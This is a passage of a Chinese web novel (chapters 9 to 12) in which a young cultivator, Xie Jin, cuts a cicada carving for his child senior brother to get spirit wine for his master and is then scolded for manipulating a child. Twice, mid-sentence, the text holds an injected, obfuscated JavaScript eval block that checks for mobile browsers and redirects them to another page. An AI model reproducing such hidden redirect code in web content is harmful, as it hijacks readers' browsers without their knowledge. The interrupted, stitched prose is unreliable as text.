不说谢槿挂在腰间的赤月峰玉牌,那身白底红纹的衣裳整个揽月宗里也极少见,一身白金交错内门弟子服饰的中年修士见到他便上前行礼,口称师兄,谢槿也是一愣。 他本能回礼时才反应过来,记名弟子地位低于内门弟子,更低于真传弟子,不排入序齿。 二人简单交流了几句,互换了姓名,谢槿有心套话,说了两句怀念来宗门前与大师兄萧珩的交情,套到了一个叫他稍微有点受打击的消息——小孩哥萧珩练气五层了。 真不愧是主角攻。 谢槿心下暗叹,真是货比货得扔,人比人得死。 那记名弟子告辞后,谢槿便入了福德堂。赤月峰唯有他一名弟子,分出来半年闻折柳一次没来过,柜台后的林大便要将过去积累的月例算出来,叫谢槿坐下再等片刻。 赤月峰作为九峰之一,每月分到的资源与弟子个人是不同的,各峰皆有定量,就算赤月峰人再少,资源也不能比其余八峰少太多。 谢槿在堂中坐下,品茶静待。 不过这事倒是叫谢槿有些意外,赤月峰分出来已有半年,师父居然一次也没来领过月例,那他以前喝的冰心玉壶是从哪里来的? 福德堂的茶点还是不错的,往日可没摆出来。谢槿想着一会儿问林大要一些,他这个月几次过来打酒,在管事林长老师徒这里也算混了个眼熟,对方应该不会拒绝他。 当然不是他吃,他只是想带给师父的灵宠小黄鸟。 一盏灵茶吃到一半,林大才从里面出来,手中托盘放着一瓶灵酒,还有一只玄铁储物戒。 “谢师兄签下字,便可取走了。” 谢槿正接过笔,发觉那账本上记的不是一瓶冰心玉壶,而是四瓶,他便抬眼看向林大。 “这是不是记错了?” 林大眼神闪躲,看堂中再无人来,才低声与谢槿说:“谢师兄有所不知,昨日内门执事明礼真人下来查账,发觉福德堂每月仅有十瓶进库的冰心玉壶,赤月峰近一个月就要了三瓶,对此很不满,交待下来,往后每月各峰只能取一瓶冰心玉壶。” 谢槿也没想到会有这样的新规矩,看向那瓶灵酒,“也就是说,我这个月只能取一瓶了?” 可他那爱喝酒的师父一个月至少要三瓶冰心玉壶,他要是不能帮师父跑腿下山打酒了…… 那师父会不会赶他下山啊? 10. 第十章 林大不敢看谢槿,一脸心虚,“这……明礼真人说,赤月峰此前多要的,都在往后三个月份例里扣去,但别的灵酒是不限的。” 谢槿学他师父挑起眉梢,“所以接下来三个月,我赤月峰都不能再来取冰心玉壶了?可我师父此前半年都没领过月例,之前的酒为何不能算在我师父过去的月例里?” 林大赔笑道:“这都是明礼真人的吩咐。何况这冰心玉壶本是净月峰酿造的高级灵酒,酿酒的灵药却大部分都出自明礼真人清月峰上的灵药园,我们福德堂也没办法。” 谢槿懂了,这是在根源上卡了他们赤月峰的灵酒。 林大欲言又止,“还有谢师兄,你上月用的朱砂……” 事关自己,谢槿不得不在意。 “朱砂也要削减?” 这可是他画符的材料啊! 林大笑容苦涩,“明礼真人说,赤月峰弟子习剑,用不着太多上品朱砂,日后师兄若来,便只能每月按份例领取,不能超额。这次给了师兄,下月可就不能多给了。” 谢槿深吸口气,微笑道:“那我往后每月还能领多少?” 林大伸出三根手指,“上品朱砂,只能给上月三成。” 这明礼真人可真抠门! 谢槿虽然没见过这家伙,心里却已经就把这家伙的名字记在死亡名单上。他也明白林大只是福德堂打杂的,自己跟他争论什么都没用,跟管事长老们争也未必有用。 但师父要的冰心玉壶,他还是想挣扎一下,弟子份例可以扣,峰主份例却不能轻易扣。 林大实在没办法,“每月定额只有十瓶,实在是匀不出来,福德堂还有另外几种等级稍差冰心玉壶一些的灵酒,谢师兄要不看看?” 谢槿不死心地问:“除了清月峰和净月峰,九峰各峰都只能每月只取一瓶冰心玉壶吗?” 要是这样,他就算去求他唯一认得的玄意师叔也只能多拿到一瓶,还不够师父塞牙缝。 林大干笑一声,指向账上定额,“内门执事如此安排,福德堂也只能照办。不过每月十瓶冰心玉壶只是净月峰交到福德堂的数量,而非净月峰每月酿造出来的灵酒数量……谢师兄,你看,我这边还要忙?” 林大说着看向福德堂外,正好有人来了,谢槿到底还是没要其他灵酒,先回了赤月峰。 按他师父的酒量,一旬就要喝完一瓶冰心玉壶,接下来三个月没有,谢槿也有些犯愁了。 听昨天玄意师叔的话,九峰内部有纷争,冰心玉壶被扣,难道还是因为师父打了掌门? 就算没把师父逐出宗门,也要扣掉份例恶心人吗? 谢槿初来乍到,对这些事知道的不多,也不敢下定论。 回到山上时天色还早,闻折柳果然不在,谢槿将那壶冰心玉壶放在前殿桌上便回了房。 这事他得解决,也不必太着急,至少这瓶灵酒还能拖上十天。要是他就这么告诉师父,也许师父会觉得他这弟子不会来事,然后看他没有打酒价值了,把他赶去外门。 谢槿想到了两个法子。 第一,让师父戒酒,但很有可能他刚开口就会跟玄意师叔一样被师父一巴掌拍出赤月峰。 这可使不得! 他又不是玄意师叔,被打飞出去不得直接进轮回了? 那便只剩第二个法子,既然师父之前没去福德堂也喝上了冰心玉壶,说明师父是有门道的。 可以探探口风! 而且那福德堂也颇有心眼,分明那明礼真人说了往后几月要扣掉赤月峰的冰心玉壶,福德堂却还是没让他这次空手回去,还告诉了他明礼真人暗中扣赤月峰份例的事。 连他这个赤月峰弟子本该被扣掉的朱砂这次也给了。 看得出来,福德堂不是很想得罪赤月峰,难道是想让赤月峰直接去找明礼真人这罪魁祸首? 谢槿心知自己只是一个小弟子,对九峰纷争最好不要插手,免得被人当成炮灰都不知道。 再不济,他解决不了这事就跟师父老实交代就是了。 不过这是下下之选。 还是得探过师父口风,看看那灵酒对他有多重要。 谢槿打定主意,便打坐修炼,灵气运转几个大周天,感觉丹田内储存的灵气已积蓄不少。 引气入体,便是将天地灵气吸收入体,蓄积在丹田,一步步转化为灵液,又经过灵脉流转成为灵力运用。练气初期,丹田很小,蓄积的灵液也很少,每一次蓄满后又突破瓶颈,将丹田开拓出更大的空间,便是修为提升的迹象,直到最后筑基。 而谢槿刚刚练气三层,丹田内蓄积的灵液已经满了八成,再满一些,便可以尝试突破了。 一夜过去,又到辰时。 谢槿去前殿拜见师父,闻折柳就躺在殿中那玉座上翻书,谢槿走得近了,才发觉是阵书。 看闻折柳的坐姿愈发随性慵懒,谢槿这个做徒弟的却不敢失礼,上前行过礼,便在殿中寻了个位子坐下,正收拾着桌子,偷偷放上几块昨天在福德堂取的茶点准备引诱小黄鸟,书案上就飘来了一本阵书。 正是闻折柳手上那本。 谢槿惊喜抬头,“师父?” 闻折柳打了个哈欠,拎起手边酒瓶喝上一口,“自己看去,再把自己困住我可不管了。” 之前那符道书,谢槿已经把目前能学的灵符都学完了,无名心法也每天都在修炼,可进展不大,修炼还是需要时间的。而且最近学习的幻灵符和法阵基础,又让谢槿陷入瓶颈,这本阵法书来得正是时候! 先是符道书,又是阵书,师父到底藏了多少宝贝? 谢槿翻开阵书,却心不在焉,状似无意般说起昨日的事,“昨日去领月例时,福德堂的人说师父从不去领月例,见徒儿带着赤月峰峰主玉牌,便让徒儿将过去半年的份例领了回来,就放在师父面前的桌上。” 经过昨日的事,谢槿有点怀疑师父不去领月例是因为跟掌门干架后,担忧被掌门报复。 储物戒原本是同那壶冰心玉壶放在一起的,现在就放在玉案上,闻折柳一伸手就能拿到。 然而闻折柳眼尾都没扫那一眼,“你拿去用吧。” “我?” 谢槿有些吃惊,他何德何能,拿赤月峰的份例? 闻折柳仿佛能听见他的心声似的,一手支在扶手上,撑着额角闭目养神,“赤月峰只有你这一个弟子,没多少份例,那些东西我也用不上,你看着用,反正也用不了多久,说不定两个月后你就去外门了。” 谢槿马上笑不出来了,师父可真是贼心不死啊。 他心里记挂着事情,偷偷看向闻折柳睡觉时都要抱着的酒壶,连小黄鸟都只能蹲在他肩头上呢。虽然现在这只毛茸茸的小胖鸟跟他主人一样,挨在闻折柳颈窝打瞌睡。 谢槿还是很想把小黄鸟抢过来揉个过瘾的,奈何小黄鸟的主人太过强大,他只敢想想。 他斟酌了下言语,才问:“那师父之前一直不去福德堂的话,师父之前的冰心玉壶又是去哪里取的?福德堂的人说,每月他们那里只有十壶冰心玉壶,是净月峰独有的。” 闻折柳睁开一双浅褐色眼眸,“你问这个干什么?” 当然是找你打听灵酒门路啊。 谢槿心下叹气,闻折柳还惦记着让他去外门,他现在还能把这事说出来吗?他缓缓摇头,“没什么,徒儿只是有些好奇,师父每日都在喝的冰心玉壶是什么味道?” 闻折柳眼神狐疑。 谢槿弯唇一笑,一脸诚恳。 闻折柳在他的目光下慢慢把酒壶抱进怀里,再次摆手,“我的酒要是出什么意外,你就给我下山去外门!出去布阵,别吵我睡觉。” 好狠的心肠! 谢槿感觉心口中了一箭,真是世风日下,人不如酒! 天天就知道喝酒、睡觉、泡温泉,让小黄鸟好的不学学坏的!谢槿心下愤愤腹诽,面上却也乖巧听话,抱起阵书起身,垂头告辞。 “徒儿告退。” 谢槿心里有鬼,转头就跑去红叶林里准备法阵。问得太多反而会引起怀疑,师父太敏感了,从他那里打听灵酒来路很容易暴露。 他还想留在赤月峰修炼。 再看怀里抱着的阵书,刚才感动了一瞬间的谢槿怀疑,师父应该嫌麻烦不想天天来捞他! 还是正事要紧。 谢槿晃晃头,把那些有的没的甩干净。最多还有十天,师父那瓶冰心玉壶就要喝完,他还没搞定三月之约,又面临了一个新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105389|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问题,就是十天内搞到冰心玉壶来源! 可他刚入门一个弟子,目前探索的地图只有赤月峰和福德堂,福德堂排除,师父那里也可以排除,那他认识的人里就剩一个玄意师叔。但玄意是玄月峰峰主,避免卷入九峰纷争提前被炮灰,最好不要找他。 可怜他到了揽月宗一个月,一个人脉也没有吗? 不对,不对。 人脉,还是有的。 还记得昨日在福德堂,谢槿碰见了月诸峰的记名弟子,他知道谢槿,主动跟谢槿攀谈,言语中提到过小孩哥萧珩。像这样的话语,通常可以视为对方在暗示谢槿,小孩哥萧珩在主峰时提到过谢槿这个师弟! 哪怕只是来揽月宗的路上,曾经同船过那么一宿! 老话说得好,十年才修得同船渡! 再者,大师兄萧珩乃是月诸峰的掌门亲传徒弟,九峰各峰资源皆有限额,可不限主峰! 冰心玉壶出自净月峰,每月十瓶送到福德堂应当是给内门九峰的福利,既然内门九峰都有了,那他们不可能越过揽月宗的掌门! 掌门的东西谁敢扣? 那么大师兄萧珩那里,是能拿到冰心玉壶的,还会因为掌门亲徒身份的便宜拿到更多! 那么问题又来了,萧珩是主角攻,将来是要杀谢槿的人,虽然现在大家刚拜入师门,剧情远远没有开始,可他跟萧珩也没有交情! 当初搭便船来揽月宗只能让小孩哥眼熟他而已! 谢槿不免又忧愁起来,今日十六,最多十天之后,他就要弄到酒……等等,今日是十六! 他离开家时,是四月中下旬。 还记得书上似乎有过一段情节,与大师兄长大后的生辰宴有关的,便是定在五月二十! 萧珩生辰! 谢槿立马从他寒窗苦读十几年积累的知识找到破题之法——大郦王朝离他曾经所在的小国不近,大郦王朝有一个出名的传统,全国上下都喜爱木雕,雕工精湛的还会被送往皇宫之中,不少雕刻师因此扬名! 萧珩出生时有金龙降世一说,可谢槿却知道,比起金龙,小时候的萧珩更喜欢蝉这种渺小的生物,来揽月宗的路上,他腰间便挂着一只小小的玉蝉,一路上总把玩着。 谢槿依稀记得,萧珩在剧情里似乎有过一段梦,梦境中便是幼年时在皇宫中捕蝉送母…… 有了,送小孩哥蝉形木雕! 到时一举拿下小孩哥,托他帮忙弄几瓶冰心玉壶过来,只一瓶也行。谢槿这段时间再找找净月峰的关系,看看能不能从源头搞过来几壶,总之,要让他先熬过这两个月! 两个月之后,中品灵符要是没成,他就不挣扎了,背起包袱老老实实下山去外门修炼。 谢槿找到方向,也没有什么心情布阵了,转头就在山里找起木料来。赤月峰上多的是枫树,其他树不多,谢槿唯有等到黄昏时回到大殿里,翻看起闻折柳扔在案上的那只放着赤月峰份例的储物戒,还真找到了一块闻起来有着淡雅香气的木料。 这木料名蟠龙木,属于灵药类。 通透如羊脂,似玉非玉。 其香气可安神静气,甚至还有克制心魔的功效。 谢槿拿了。 白日依旧修炼,晚上的时间便用来学木雕。可他第一次做这种东西,手里刻刀都不知道往哪里划拉,便画了设计图,对着图慢慢刻,饶是如此,一晚上只雕出个丑疙瘩。 还好他只用了山里捡的木头,没敢动那块蟠龙木,这一夜下来,手上也多了不少血痕。 他简单处理过,调息一阵恢复精神,赶紧抱着阵书去前殿见师父。闻折柳俨然不是很想陪他画符,支着下颌靠在玉座上假寐,要不是手里有一下没一下地揉着小黄鸟脑袋,谢槿好几次怀疑他已经睡着了。 谢槿行过礼,便在下方蒲团打坐,准备好今日的材料和点心,正要提笔,闻折柳忽然出声—— “今日怎么换了朱砂?” 谢槿低头一看,他用的还是黄表纸,只是朱砂换成了下品,他便道:“这幻灵符徒儿总是画得不好,免得浪费了上好的朱砂。” 闻折柳抬眼看来,眸光往下,有些意外在他那属于读书人纤长白皙的双手上看到伤痕。 “手怎么了?” 11. 第十一章 昨晚刻木雕时在手指间留下的细微伤痕过了一夜,已然红肿起来,尤其是在谢槿这双白玉一样漂亮的手上,一眼就能看出来。 谢槿本想藏起来,想了想,又大方地展露出来。 “徒儿不小心摔了,不碍事。” 闻折柳一脸听到什么修真界奇闻一样不可思议。 “你一个修士居然摔了?” 谢槿认真提醒他,“师父,徒儿才练气三层。” 听他这么说,闻折柳就觉得没意思了,看了眼大殿角落的博古架,“那边有伤药,自己取去。本座睡会儿,晚点再去外面捞你。” 师父还是有点良心的。 谢槿稍微有点感动,连忙点头,看闻折柳又闭上了眼睛,他也安静下来,搁下朱笔也是轻轻的,免得吵到师父又被赶到大殿外。 昨夜时间全都用来练习木雕,根本没有时间修炼,只能在白日补回去,画符布阵的进度可以缓缓,但无名心法的修炼绝不能停。 一入定,身体自然而然吸收起天地灵气,尤其是与谢槿灵根亲近的水木灵气,通过他的淬炼化为灵液,一点点填满丹田灵池。 等谢槿暂停修炼时,天已经黑了,闻折柳早就不见了人影,桌上茶点也没了,估计是小黄鸟什么时候从闻折柳手里挣扎出来,在谢槿修炼时把茶点给吃了。谢槿便起身去闻折柳先前所说的空荡荡的博古架,从一些瓶瓶罐罐里找到几瓶外伤药。 待回房上了药,便继续雕刻,时间紧任务重,他还是个木雕新手,一分一秒都浪费不得。 谢槿这双手两辈子都没碰过刀,不过或许是这辈子的祖父有做木雕的喜好,遗传了艺术细胞,也可能根本没有关系,他双手还算稳,废了快百来块木头后也算上手了。 雕刻起木头时,比修炼还认真。 一直到十八那夜,练了一夜又一夜,谢槿也能雕刻出像模像样的东西了。他这两天还算省心,闻折柳白天在前殿出现一下,等小黄鸟吃完了谢槿偷偷放的点心,就连人带鸟消失,从不阻止小黄鸟偷吃。 后日是大师兄生辰,最迟明日这木雕也要做出来了。 修炼到日落,谢槿便回房,取出自己修改过几版的图纸,还有那块蟠龙木,拿起刻刀。 蟠龙木并非寻常木头,需要灵力凝于刻刀之上,才能雕刻出痕迹,这一雕,又是一夜。 总也烧不完的油灯在山风中摇曳到了天亮,谢槿刻下最后一笔时,才终于长出一口气。 一只接近完美的‘玉蝉’出现在他手上,因用上了灵力雕刻,蟠龙木原本如羊脂白玉般盈润的木质透着浅浅的灵光,衬着淡淡幽香,谢槿轻吸一口气,便感觉通体舒畅。 衬着灵气还没散,他找了个盒子,垫了块红绸,才小心翼翼地将这只木蝉雕件放进去。 天色大亮,他又该修炼了。 谢槿端详了自己的艺术品半晌,才不舍地合上木盒,专门收入腰间的储物袋起身出门。 大概是上回烧山给闻折柳惹出了太大麻烦,这段时间他每日都能见到闻折柳,已经习惯每日一早去前殿拜见师父,这日过去闻折柳也在,翘着二郎腿坐在那里看书。 谢槿不知道师父又看了什么新书,只知道师父对这些书显然都没有什么兴趣,半天不见翻一页,他也管不着,只管行礼喊人。 闻折柳照旧摆摆手,不大爱理会没营养的对话。 谢槿便自顾自去角落坐下来,准备修炼心法,在那之前悄悄取出来两块茶点,拿手帕垫着放到桌上,闻折柳肩头上的小黄鸟十分警觉地扭头看来,眼神一下子变得犀利。 可就在小黄鸟要从闻折柳肩上飞出来时,闻折柳一伸手就兜住小黄鸟,指腹碾过鸟头,没看谢槿一眼,却催促道:“还不修炼?” 谢槿早知闻折柳在时总是很难触碰到小黄鸟的,也只能应是,眸光一转,小声开口:“师父,我的朱砂用完了,今日想早一些结束修炼,日落前下山去福德堂一趟。” 闻折柳对他没兴趣的事情态度一向随意,“酒……” 谢槿现在一听到这个字就特别紧张,“酒喝完了?” 闻折柳的眼睛才离开书卷,缓缓转头看向他,慢悠悠地说出后话,“酒还有,不用带。” 谢槿暗松口气,就说师父一瓶酒能喝上一旬,这才过去四五天,怎么可能喝得这么凶? 可他这反应,反倒叫闻折柳觉得古怪,“紧张什么?” 谢槿微笑道:“没有的,弟子就是有些吃惊,以为师父这么快就把酒喝完了,在我们人间喝酒伤身,徒儿有些担忧师父罢了。” 闻折柳不以为意,“人间的酒,与灵酒如何相比?” 谢槿无意争执,应了是就要修炼,闻折柳又看他一眼,眸光落到他手上,“手还没好?” 这突如其来的关心让谢槿受宠若惊,只因他这两日已经将手指包扎起来,就怕被闻折柳发现他的手怎么一直有伤口,忙应道:“徒儿从前受伤便好得慢,过两日就好了。” 闻折柳皱眉,“是吗?” 谢槿点头,又道:“徒儿没想到师父会如此关心我。” 闻折柳欲言又止,到底什么也没说,只撇了撇嘴。 “娇气。” 谢槿:…… 不要突然说这种霸总台词啊师父! 见闻折柳总算翻了一页书,低头看起来,谢槿也没再说什么,运转起灵力修炼无名心法。 一转眼,便是晌午。 闻折柳依旧不见人影,谢槿手边的书案上,手帕上的茶点连碎屑都不剩,又被鸟吃完了。 谢槿还是挺喜欢喂那小胖鸟的,每日看到偷偷摆出来的点心被吃完都会有种诡异的满足感,分明他没有养过鸟,却无端端很喜欢闻折柳这只小黄鸟,或许就是眼缘吧。 收拾好东西,谢槿便下山。 他说去福德堂,也的确是去了福德堂,他在揽月宗认识的人没几个,也就熟悉每回他来拿酒都会碰到的福德堂的林大了。今日那位林长老也在,谢槿特意同他打过招呼才去寻林大,将那玉盒交给林大,托他帮忙送去诸月峰,给掌门徒弟萧珩。 揽月宗掌门玄鹤真人如今只有一个真传弟子,林大自然不能不知道,一听这话他是想拒绝的,谢槿没等他拒绝便往他手里塞了几块灵石,是从他自己月例里匀出来的。 “我与大师兄一同来的揽月宗,又是前后脚拜入揽月宗,明日大师兄生辰,我该送上一份贺礼。可惜我明日要修炼,不能亲自前往诸月峰,我认得的人也不多,只能托林师兄帮忙,将贺礼捎带给大师兄了。” 他搬出和大师兄萧珩根本不存在的情分,便是想让林大不看在他面上,也看在掌门亲传徒弟的面上,将这份贺礼帮他送到诸月峰。但他想,林大上回主动告诉他明礼真人扣了赤月峰资源的事,就是不想得罪赤月峰的意思,那东西给他就安全了。 搬出了宗门大师兄,林大果然有所犹疑,悄悄看了眼柜台那边躺在摇椅上吞云吐雾的林长老。林长老压根就没看他们,烟杆敲了两下摇椅扶手,闭起眼睛摇摇晃晃。 林大才接过木盒,顺手将那几块灵石塞进衣袖里,“谢师兄客气了,既然是萧大师兄生辰,这份贺礼我一定会亲自送往诸月峰,定要叫谢师兄这份心意送到大师兄手中。” 谢槿拍了拍他手背,笑道:“那就劳烦林师兄了。” 他心疼自己本就不多的灵石,却也只能忍痛送出去,又寒暄几句便告辞离开,走时还不忘与那位恰好醒来的林长老再打个招呼。 人一走,林大笑容就垮下来,迟疑地抱着那个木盒。 “师父,这……” 林长老弹出一簇灵火,重新点燃烟杆一端的烟草,一股好闻的气味便在福德堂里弥漫开来,他吸了一口,才哼道:“给他送。拿人灵石替人办事,那小子倒是个聪明的,不过世间多的是人聪明反被聪明误。” 这话勾起了林大的好奇心,“师父这话怎么说?” 林长老的回应是一烟杆敲上他凑过来的脑袋。 “干活去!” 林大哎呀一声,捂住脑袋往后退,只得闷闷应是,将那木盒收起来,去仓库清点物件。 入夜后,木盒送到了月诸峰。 夜半,萧珩练完剑回来,院里的仆从清风便捧着一个古朴木盒上来,“大师兄,方才福德堂的人来过,说是赤月峰的谢师兄托人给您送来了一份贺礼,庆贺您明日生辰。” 萧珩人才刚七岁,手里的剑比他个子还高,另一名仆从明月想接剑,却被他摆手婉拒,亲自将长剑送到剑架上,接过干净的手帕净手,看仆从手中木盒的眼神颇为意外。 “赤月峰?是二师弟?他怎会知道明日是孤……” 萧珩顿了顿,改口道:“我明日生辰的事,连师父都不知道。罢了,我看看师弟的贺礼。” 特意选来照顾掌门徒弟的两个仆从仅比他年长几岁,清风闻言便将木盒呈上。萧珩打开一看,一眼望见盒中在灯光照耀下灵光灼灼的玉蝉时,眼底闪过一丝惊艳之色,拿起一看发觉这是一件精美的雕件,稚嫩脸上有几分怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105390|163850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念,“原来是件木雕。” 拿起木雕,下面还垫着一张宣纸,萧珩不免好奇,打开纸张一看,便笑起来,“原来二师弟送我木雕,贺我生辰,是有所求的。清风明月,我们院中可有冰心玉壶这酒?” 清风应道:“大师兄年岁尚小,院中份例并无灵酒,不过掌门殿中却有许多,每月净月峰都会送上十来瓶冰心玉壶,掌门几乎从未动过,听闻这两日要清点送去福德堂。” 身为掌门徒弟,掌门殿中可有可无的东西,萧珩还是能处理的,他吩咐道:“那你明日去取来几瓶冰心玉壶,送到赤月峰去。” 清风有些不解,“这位谢师兄说是庆贺大师兄生辰,实则心思不纯,大师兄真要应了他吗?” “有何不可?” 萧珩豁达一笑,“不愧是少年秀才,二师弟的确做得一手锦绣文章,他这贺礼想来是亲手雕琢,灵气十足,孤喜欢。何况二师弟这贺诗写得好,孤看着便高兴,他想求灵酒,孤既然有,为何不能应了他?” 看来大师兄的确很高兴,又带上了在人间时的自称。 清风明月相视一眼,唯有应是。 三瓶冰心玉壶,几乎是次日一早便送到了福德堂。 谢槿几乎一宿没睡,忙着补回去之前落下的修炼进程,一大早收到山下而来的飞鹤传书时还吓了一跳,捡起窗台上那只带着灵气的纸鹤,好奇打开,原来是林大的信。 约他今日黄昏时来取回礼。 灵酒到手了! 困扰数日的难题终于解开,谢槿总算放心了,嘴角笑容压都压不住,去见闻折柳时,引得闻折柳奇怪地看了他好几眼,不过谢槿忙着补功课,很快便专注修炼心法。 丹田灵池越来越满,最多再半个月就能再一次突破。 一到黄昏,谢槿便匆匆下山。 萧珩果然很高兴,回信中谈及修炼,期待与他共勉。 有了三瓶冰心玉壶,现在小孩哥萧珩在谢槿心里就是金主大哥,他说什么谢槿都愿意听。 取了酒回山上,谢槿步伐很是轻快,边走边算着几瓶酒怎么用。若非这些年在书院里读圣贤书时,被父亲和先生教导,习惯了喜怒不形于色,他怕是都要哼着歌上山。 三瓶灵酒,足够师父喝一个月。 有了灵酒,等于还能给师父跑腿打酒,就等于还有价值,还等于师父不会赶他去外门了。 至少是在三月之约结束前。 第二天见到闻折柳时,谢槿都是神清气爽的,闻折柳见他今天又开始画符了,浅色琉璃目多看他一眼。谢槿不仅画起符,还用了上品朱砂,一张符练完手,只是下品。 果然疏忽几日,就会退步。 谢槿暗叹一声,让自己的心静下来再继续,结果一抬眼发觉闻折柳正看着他。他向来谨慎,想到自己今日表现与过去几日不太一样,估计是被闻折柳发现了,便故作忧心地反问闻折柳:“师父可是有事吩咐?” 闻折柳看不出来他有什么问题,便晃了晃手中玉瓶,“酒要喝完了,明天下山再取一瓶。” 前两天还有,今天就喝完了? 谢槿庆幸他此前的未雨绸缪,放下朱砂笔,在储物袋中取出还未开封的一瓶冰心玉壶,起身送到闻折柳伸手就能触及的玉案上。 “正好,我昨日取来了。” 闻折柳昨日并未吩咐过谢槿取灵酒,不由狐疑。 “你昨日下山了?” 谢槿一脸坦然,“徒儿昨日与福德堂的弟子有约,日落后下山了一趟,不过师父放心,徒儿没有耽误修炼的时间,很快就回来了。” 那赤月峰的玉牌闻折柳没有收回去过,任谢槿拿着,以闻折柳这性子,估计是嫌麻烦。 可灵酒就在手边,闻折柳的脸色却说不上满意,他放下手里所剩不多的灵酒玉瓶,将窝在肩头上睡觉的小黄鸟放到扶手上,取来桌上还未开封过的灵酒,反而皱起眉。 “这是你在福德堂取的?” 小黄鸟晕乎乎地倒在玉座扶手上,被冻得一激灵炸了毛,扑腾起来叫了一声,怒瞪两人。 谢槿到底还没能修炼到闭着眼睛说瞎话的地步,尤其还是在一位化神期修士面前,他得给自己留点后路,于是思索了下,有些小心地问:“那若是徒儿说,这酒是徒儿凭自己本事换来的,师父会不会生气?” “换?” 闻折柳抬眸望向他,琉璃般的浅色眼眸中眸光不似往日懒散随性,隐隐透出几分寒意。 “你是说,去掌门那里换的?” 12. 第十二章 师父怎么会知道酒是掌门的?! 谢槿满心不可思议,还在继续狡辩与如实交代之间犹豫时,便见闻折柳冷哼一声,指腹抹过玉瓶瓶身,举起到叫谢槿能看到的高度。那玉白瓶身上竟浮现出一个淡淡的灵力印记,描摹着云间圆月的印记。 “还要狡辩吗?” 谢槿双眸睁大,完了。 送往主峰的冰心玉壶,瓶身居然是做了印记的! 闻折柳俨然不喜欢这一瓶来自月诸峰的冰心玉壶,重重搁在桌上,便面无表情看向谢槿。 “还不老实交代?” 谢槿还能怎么办? 他深吸一口气,扑通一声,在闻折柳面前跪下。 “师父,徒儿错了!” 闻折柳沉声道:“交代。” 谢槿暗叹一声,只好将储物袋里剩下的两瓶冰心玉壶取出来,排成排一瓶一瓶放在桌上,每放一瓶,闻折柳的脸色就更黑几分。 还好,总共就三瓶! 谢槿一五一十道:“徒儿估摸着这几日师父的酒就要喝完了,便趁着昨日大师兄生辰送贺礼之时,在信上提及徒儿急需冰心玉壶一事。但师父放心,徒儿并未说那酒是师父要的,只说是自己修炼时所需!” 闻折柳笑了,“你一个练气三层,用得上极品灵酒?” 谢槿被怼得垂下头,小声道:“徒儿疏忽了,但福德堂那边,说是内门执事吩咐,上月徒儿取了太多冰心玉壶,接下来三个月赤月峰都不能取冰心玉壶。徒儿别无他法,又怕告知师父这等小事会叫师父厌烦,徒儿便想起先前师父说过的话?” 闻折柳问:“我什么时候说过让你去月诸峰拿酒了?” 看他一脸寒色,小黄鸟默默退到扶手边缘,谢槿也跟着同步缩了缩脑袋,连忙摇头,“徒儿是说,师父先前说过,徒儿与月诸峰交际,与您跟谁打架无关。徒儿想,那徒儿向大师兄借酒,也与师父无关?” 闻折柳冷笑。 他不说话,谢槿心中愈发不安,“看来是徒儿自作聪明,都是徒儿的错,师父别生气。” 他认错越快,闻折柳眼里不悦更深,“你刚来揽月宗,又是如何知道月诸峰有多余冰心玉壶,还哄得你那大师兄给你送酒来的?” 谢槿自觉心虚,闻折柳问他什么,他便答什么。 “月诸峰乃是掌门的主峰,揽月宗缺了谁的酒,都不能缺掌门的酒。而大师兄是掌门唯一的亲传弟子,徒儿来揽月宗时与大师兄有过一面之缘,知道大师兄近日生辰,大郦人又都喜欢精美木雕,徒儿便亲手雕刻木雕,托福德堂的人送给大师兄。” 闻折柳冷眼看向他那双至今还包扎着纱布的手,“难怪这几日总包着手,原来是连修炼都不管了,一心给你那大师兄雕刻木雕呢。那你又如何断定那你大师兄会答应你?” 听他话里嘲讽,便知道他有多生气,谢槿不敢再有隐瞒,忙道:“徒儿不知大师兄会否喜欢木雕,但来揽月宗时见大师兄总把玩腰间玉蝉,猜想大师兄该是喜欢蝉的,大师兄年幼,至今离家多时,也该想家了。” “再者……” 他偷看了一眼闻折柳,见他脸色还是冷冰冰的,心下一惊,老实道:“大师兄在大郦乃皇子,如今到了揽月宗,即便还是高高在上的掌门亲传弟子,地位却与在人间时不同了,心情难免会有落差。而徒儿与他同样来自人间,若能在这时给他送去木雕,以慰藉他心中思乡之情,他这样骄傲的皇子,是不会吝啬于回徒儿一份礼物的。” 闻折柳看他的眼神格外冷肃,“所以,你拿不到灵酒,便舍近求远绕过赤月峰,去算计一个七岁小孩?谢槿,奉剑师兄曾在信上夸你是个心地良善、知书达理的孩子,这就是你在人间悟出来的君子之道吗?” 他想来是真动了怒,才又用上了本座这样的自称。 谢槿本想反驳,话到嘴边却是一愣,哑然无声。 是了,萧珩还是一个孩子。 先前觉得萧珩是将来杀死自己的主角,这次送木雕,除了满足他的情绪价值求灵酒外,本也想借此机会与他拉近距离,刷一刷好感度,避免日后成为炮灰,一举两得。 可师父这么一说,谢槿忽然觉得,自己真的好虚伪。未来的大师兄萧珩如何还不一定,现在的萧珩却是个七岁孩童,自己已经是个大人了,却为了达成目的这样算计一个小孩子最最单纯的思乡之情,真是…… 无耻之尤。 从前即便并不认可圣贤书上所有价值观,沉得下心读书也是因为父亲的要求,可此刻,谢槿却觉得,自己还是白读了这么多年书。 以他这段时间的观察,师父应当是个极纯粹的人,眼下动怒,应该是气他算计人心吧? 